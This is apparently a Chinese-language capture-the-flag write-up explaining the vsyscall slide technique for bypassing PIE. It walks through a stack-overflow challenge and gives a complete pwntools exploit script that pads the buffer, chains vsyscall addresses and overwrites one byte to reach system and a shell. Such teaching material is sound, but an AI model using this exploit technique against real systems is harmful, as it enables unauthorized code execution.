vsyscall(个人理解)就是四个函数调用,并且这四个函数的地址是固定的,通过调用这里面的函数就像滑一样地溜到栈后面的地址来达到自己的利用目的。
这就是那四个固定地址的四个函数。
来看个题:
这题思路很清晰,就是利用这个栈溢出来跳转到system函数,但是确开了pie,怎么办呢?
我们来动调看看:
这是程序基址
这是栈结构,0x7fffffffdfc8地址处的内容和system函数调用的地址很接近只有最后一个字节的差异,
我们就可以用vsyscall一直填到0x7fffffffdfc8,改最后一个字节为0xa8,就可以得到shell了。
from pwn import *
context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']
p = process("./magic_number")
# gdb.attach(p,'b *$rebase(0xAE0)')
# raw_input()
p.recvuntil('Your Input :\n')
vsyscall = 0xFFFFFFFFFF600400
vsyscall1=0xffffffffff600000
payload = 'a'*0x38 + p64(vsyscall1)*4 + '\xa8'
# gdb.attach(p)
# pause()
p.send(payload)
p.interactive()